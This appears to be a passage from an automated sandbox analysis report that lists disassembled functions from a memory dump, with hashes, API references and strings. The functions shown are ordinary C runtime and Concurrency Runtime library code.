Opcode Fuzzy Hash: 65849cd197285e24b836b064278a23453fe7f39a49d049105793f34e43411a7c
Instruction Fuzzy Hash: A021B67690014CBFCB41EF95C881DDE7BF8BF08780F0055A6B515AB261DB31EA848B80

Uniqueness

Uniqueness Score: -1.00%

Function 00EE2220 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00EE2248

Part of subcall function 00EE1FB5: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00EE1FE8
Part of subcall function 00EE1FB5: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00EE200A

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EE22C5
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00EE22D1
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00EE22E0
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00EE22EA
Concurrency::location::_Assign.LIBCMT ref: 00EE231E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00EE2326

Strings

3, xrefs: 00EE2276, 00EE22B2, 00EE233A

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID: 3
API String ID: 1924466884-3930663615
Opcode ID: 6a519593637364a0dcb58e57b0716ebe61a42061b21794292d2d83afc53865b6
Instruction ID: e43e6a4f8cf9b49a625d0db5ba63a3acfdaf718f6227fd31753d0d32d5d223bd
Opcode Fuzzy Hash: 6a519593637364a0dcb58e57b0716ebe61a42061b21794292d2d83afc53865b6
Instruction Fuzzy Hash: 23416C75A00209DFCF04EF65C494AADB7B9FF48310F1590AAEE45AB386DB34A941CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00EDA88D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00EDA8A7
GetCurrentProcess.KERNEL32 ref: 00EDA8AF
DuplicateHandle.KERNEL32(00000000,000000FF,00000000,00000000,00000000,00000000,00000002), ref: 00EDA8C4
SafeRWList.LIBCONCRT ref: 00EDA8E4

Part of subcall function 00ED88DF: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00ED88F0
Part of subcall function 00ED88DF: List.LIBCMT ref: 00ED88FA

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EDA8F6
GetLastError.KERNEL32 ref: 00EDA905
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00EDA91B

Strings

eventObject, xrefs: 00EDA8EE

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CurrentListProcess$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateErrorHandleLastLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 165577817-1680012138
Opcode ID: 97d4400fc5dbf68843d33d3f48b12d2dcb57262c2092031cf5a4b09cc04a6aab
Instruction ID: 9b9b96cbc292a3298318d9e5363642470ae13c5e6fdadfe13df829d67cf6263e
Opcode Fuzzy Hash: 97d4400fc5dbf68843d33d3f48b12d2dcb57262c2092031cf5a4b09cc04a6aab
Instruction Fuzzy Hash: 94112571500208FBCB14EBA4DD4AFEE73A8EB04305F64502AB605F61D1EB709B46E762

Uniqueness

Uniqueness Score: -1.00%

Function 00EDB352 Relevance: 13.6, APIs: 9, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00EDB374

Part of subcall function 00ED9729: __EH_prolog3_catch.LIBCMT ref: 00ED9730
Part of subcall function 00ED9729: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00ED9769

Concurrency::details::SchedulerBase::NotifyThrottledContext.LIBCONCRT ref: 00EDB382

Part of subcall function 00EDA38E: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00EDA3B3
Part of subcall function 00EDA38E: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00EDA3D6

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00EDB39B
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00EDB3A7

Part of subcall function 00ED9729: InterlockedPopEntrySList.KERNEL32(?), ref: 00ED97B2
Part of subcall function 00ED9729: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00ED97E1
Part of subcall function 00ED9729: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00ED97EF

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00EDB3F3
Concurrency::location::_Assign.LIBCMT ref: 00EDB414
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00EDB41C
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00EDB42E
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00EDB45E

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$Context$Throttling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_EntryExerciseFoundH_prolog3_catchInterlockedListNextNotifyProcessor::RingSchedulingSpinStartupThrottledTicket::TimerUntilWith
String ID:
API String ID: 2678502038-0
Opcode ID: 1ea50c4f4d074f9fde3da9c441afe63307541fe3691a517c2200d08f13974f3b
Instruction ID: 2c199b833062ba7d456b77b046c191b4962d3b20c4126c387dbd8659f4e27164
Opcode Fuzzy Hash: 1ea50c4f4d074f9fde3da9c441afe63307541fe3691a517c2200d08f13974f3b
Instruction Fuzzy Hash: 5C31E230A00255EACF16AA7889927FEB7F9DF45308F05206BD865F7342FB65890B9391

Uniqueness

Uniqueness Score: -1.00%

Function 00EE43F6 Relevance: 13.6, APIs: 9, Instructions: 69threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00EE440C
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,00ED971F,?), ref: 00EE441E
GetCurrentThread.KERNEL32 ref: 00EE4426
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,00ED971F,?), ref: 00EE442E
DuplicateHandle.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000002,?,?,?,?,?,?,00ED971F,?), ref: 00EE4447
Concurrency::details::RegisterAsyncWaitAndLoadLibrary.LIBCONCRT ref: 00EE4468

Part of subcall function 00ED3C81: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00ED3C9B

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00ED971F,?), ref: 00EE447A
GetLastError.KERNEL32(?,?,?,?,?,00ED971F,?), ref: 00EE44A5
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00EE44BB

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Current$Concurrency::details::ErrorLastLibraryLoadProcessThread$AsyncConcurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorDuplicateHandleReferenceRegisterWait
String ID:
API String ID: 1293880212-0
Opcode ID: f642a9c44d162a5d61e1da9939c0c13befa04706d9a9d9f6fff25d5b6f662e69
Instruction ID: a4980a0c880d3f137c31878f0bc4006deeb4db9521094446cf1788719e46e899
Opcode Fuzzy Hash: f642a9c44d162a5d61e1da9939c0c13befa04706d9a9d9f6fff25d5b6f662e69
Instruction Fuzzy Hash: AB11E4B5A00349ABC710AF759D4AF9A3BE8AF15300F145035FB55FA2D2EA70D900A771

Uniqueness

Uniqueness Score: -1.00%

Function 00EE82B0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00EE82E7
___except_validate_context_record.LIBVCRUNTIME ref: 00EE82EF
_ValidateLocalCookies.LIBCMT ref: 00EE8378
__IsNonwritableInCurrentImage.LIBCMT ref: 00EE83A3
_ValidateLocalCookies.LIBCMT ref: 00EE83F8

Strings

3, xrefs: 00EE83BC
csm, xrefs: 00EE838D

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: 3$csm
API String ID: 1170836740-3084411490
Opcode ID: 5829867b39c087546b7723701d655e8b8e0a35f44b54ed8700a66569e4c52710
Instruction ID: e3dd498a273e4d221d7ce1076dc056a5051dc97fd17670db00e5b914c3a93851
Opcode Fuzzy Hash: 5829867b39c087546b7723701d655e8b8e0a35f44b54ed8700a66569e4c52710
Instruction Fuzzy Hash: 7241C534A0028CDBCF10DF6AC980A9EBBF5BF45718F149155E918BB392CB32E915CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EE234E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00EE238F
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00EE2397
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EE23C1
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00EE23CA
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00EE244D
Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00EE2455

Strings

3, xrefs: 00EE23AB, 00EE2410, 00EE2433, 00EE2464, 00EE247B

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
String ID: 3
API String ID: 3929269971-3930663615
Opcode ID: 1badce4d97f6ddd963862f6e1b2445616090e6285decec7b6ff8d032da5119f1
Instruction ID: cc13acd643f8a002d0b7995057ec476a96fc72b2da10bb4969375fb9d35b7d7a
Opcode Fuzzy Hash: 1badce4d97f6ddd963862f6e1b2445616090e6285decec7b6ff8d032da5119f1
Instruction Fuzzy Hash: CF417075A00219AFCB09DF65C854AADB7B6FF88310F049159E916AB391CB74AE41DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00EE5597 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00EE55B0

Part of subcall function 00EE587F: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,00EE52F8), ref: 00EE588F

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00EE55C5
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EE55D4
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EE5698

Strings

3, xrefs: 00EE5606, 00EE5627
pContext, xrefs: 00EE5690
switchState, xrefs: 00EE55CC

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::std::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
String ID: 3$pContext$switchState
API String ID: 1312548968-1920325101
Opcode ID: 213c12c7840ce46c3feaea4c3c1125ecd62de0e518ff864a50e38ab1a7650e5c
Instruction ID: e8bc829697faa6beb977df0428f22c48ad28a112e4c62890200dd57098448917
Opcode Fuzzy Hash: 213c12c7840ce46c3feaea4c3c1125ecd62de0e518ff864a50e38ab1a7650e5c
Instruction Fuzzy Hash: A431F232A006099FCF08EF69C895EAD73B6FF54318F215469E911B7281DB70EE05DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EF235F Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00EF2389
_free.LIBCMT ref: 00EF2462
_free.LIBCMT ref: 00EF248F

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 30f33aefe77bac441b20cc4e0b50d5eb626cd6c6b82d9fd81b286676a0f020a5
Instruction ID: 5de716a09b411b2e3908fdacaab54b16c3faf69d337614af3bbb55a1b0730b6a
Opcode Fuzzy Hash: 30f33aefe77bac441b20cc4e0b50d5eb626cd6c6b82d9fd81b286676a0f020a5
Instruction Fuzzy Hash: BD51F7B1D0434EAFDF10AFA49851ABD7BE8AF01314F14916DEB60F7281EB718A41CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00EC04E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

list too long, xrefs: 00EC099D

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID:
String ID: list too long
API String ID: 0-1124181908
Opcode ID: 060c5325ccea29383e98602f8c702b2703818ae7d83d5237bafd5d9b947ac337
Instruction ID: b8ba9c6ed86a04dfe9aa56ce3662dcd4b60ca4bd38a527f3cffeace98ceb2c4c
Opcode Fuzzy Hash: 060c5325ccea29383e98602f8c702b2703818ae7d83d5237bafd5d9b947ac337
Instruction Fuzzy Hash: 9B619FB0D043189BDB14DF64CE49F99F7F4EB04704F0452AAE808A7291E771AA82DF56

Uniqueness

Uniqueness Score: -1.00%

Function 00EE15A1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EE15D5

Part of subcall function 00EDC9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00EDC9C1

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00EE1634
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00EE165A
Concurrency::details::SchedulerBase::ReleaseInternalContext.LIBCONCRT ref: 00EE167A
Concurrency::location::_Assign.LIBCMT ref: 00EE16C7

Part of subcall function 00EE4DA0: Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00EE4DE5

Strings

3, xrefs: 00EE15C0, 00EE16CE

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$Internal$Event$AssignBlockingConcurrency::location::_FindNestingPrepareReleaseSchedulerStealerThrowTraceWork
String ID: 3
API String ID: 1879022333-3930663615
Opcode ID: 68e01eb16e2f27f40ce50e346f65a8d723b906b0b10f920e71e5cb8604e080cf
Instruction ID: a96ebb7cb8b9ee914bf9328ca14a5da19464bb0eca5cf4020a9e43200b8a1579
Opcode Fuzzy Hash: 68e01eb16e2f27f40ce50e346f65a8d723b906b0b10f920e71e5cb8604e080cf
Instruction Fuzzy Hash: BE41F771700259ABCB19AB15C895BADBBA8EF85710F0850DEE4067B382DB30AD85C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE5298 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00EE52F3
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EE5312
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00EE5359

Strings

3, xrefs: 00EE52C6, 00EE5367
pContext, xrefs: 00EE530A

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ExecutionFreeIdleProcessorProxy::Root::SpinSuspendThreadUntilVirtualstd::invalid_argument::invalid_argument
String ID: 3$pContext
API String ID: 1284976207-3169799313
Opcode ID: 7a9753558dd33e95ad083818027dd8b06a66283fc7a796aefb455991d215706c
Instruction ID: 0414cb850c1c9c128cd44fbf8e789565e52757e69a34eda1685b29c28cd0db70
Opcode Fuzzy Hash: 7a9753558dd33e95ad083818027dd8b06a66283fc7a796aefb455991d215706c
Instruction Fuzzy Hash: B7213832700E5D9BCB15AB2AD855ABCB3E5BF9436CF04211AE512A72D1CBA4FC418AC1

Uniqueness

Uniqueness Score: -1.00%

Function 00ED8913 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::AddVirtualProcessor.LIBCONCRT ref: 00ED8972
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ED8995
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00ED89D7

Strings

3, xrefs: 00ED8940
count, xrefs: 00ED892B
ppVirtualProcessorRoots, xrefs: 00ED898D

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: CacheConcurrency::details::GroupLocalSchedule$Node::ProcessorSchedulingSegmentSegment::Virtualstd::invalid_argument::invalid_argument
String ID: 3$count$ppVirtualProcessorRoots
API String ID: 18808576-2948762459
Opcode ID: 29ae850c42285514c1ca3e2eb6f8a5ee6fee5bc73b302e16935398207473305f
Instruction ID: 721037e9eb5220481575ee96798f230125e5a0f609bea784d93151fc91843a50
Opcode Fuzzy Hash: 29ae850c42285514c1ca3e2eb6f8a5ee6fee5bc73b302e16935398207473305f
Instruction Fuzzy Hash: B8219235600209AFCB14EF98C951EAD77F5FF88304F00506AE54AAB791DB71AD02DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EF29AC Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00EF2974: _free.LIBCMT ref: 00EF2999

_free.LIBCMT ref: 00EF29FA

Part of subcall function 00EEE175: HeapFree.KERNEL32(00000000,00000000,?,00EF299E,?,00000000,?,?,?,00EF29C5,?,00000007,?,?,00EF2DC7,?), ref: 00EEE18B
Part of subcall function 00EEE175: GetLastError.KERNEL32(?,?,00EF299E,?,00000000,?,?,?,00EF29C5,?,00000007,?,?,00EF2DC7,?,?), ref: 00EEE19D

_free.LIBCMT ref: 00EF2A05
_free.LIBCMT ref: 00EF2A10
_free.LIBCMT ref: 00EF2A64
_free.LIBCMT ref: 00EF2A6F
_free.LIBCMT ref: 00EF2A7A
_free.LIBCMT ref: 00EF2A85

Memory Dump Source

Source File: 00000015.00000002.2328117273.0000000000EB1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000015.00000002.2327364511.0000000000EB0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2329816794.0000000000F04000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330269364.0000000000F16000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330572272.0000000000F18000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2330871041.0000000000F19000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000015.00000002.2331175849.0000000000F1B000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_eb0000_Utsysc.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d2c581018c698599584711ab45f24c1078ff6b42d56dc436d3d44221cec0f7ca
Instruction ID: 2918becef4e1e8278775142146e708dcdc4325447fe20843a903c59015f2f5fb
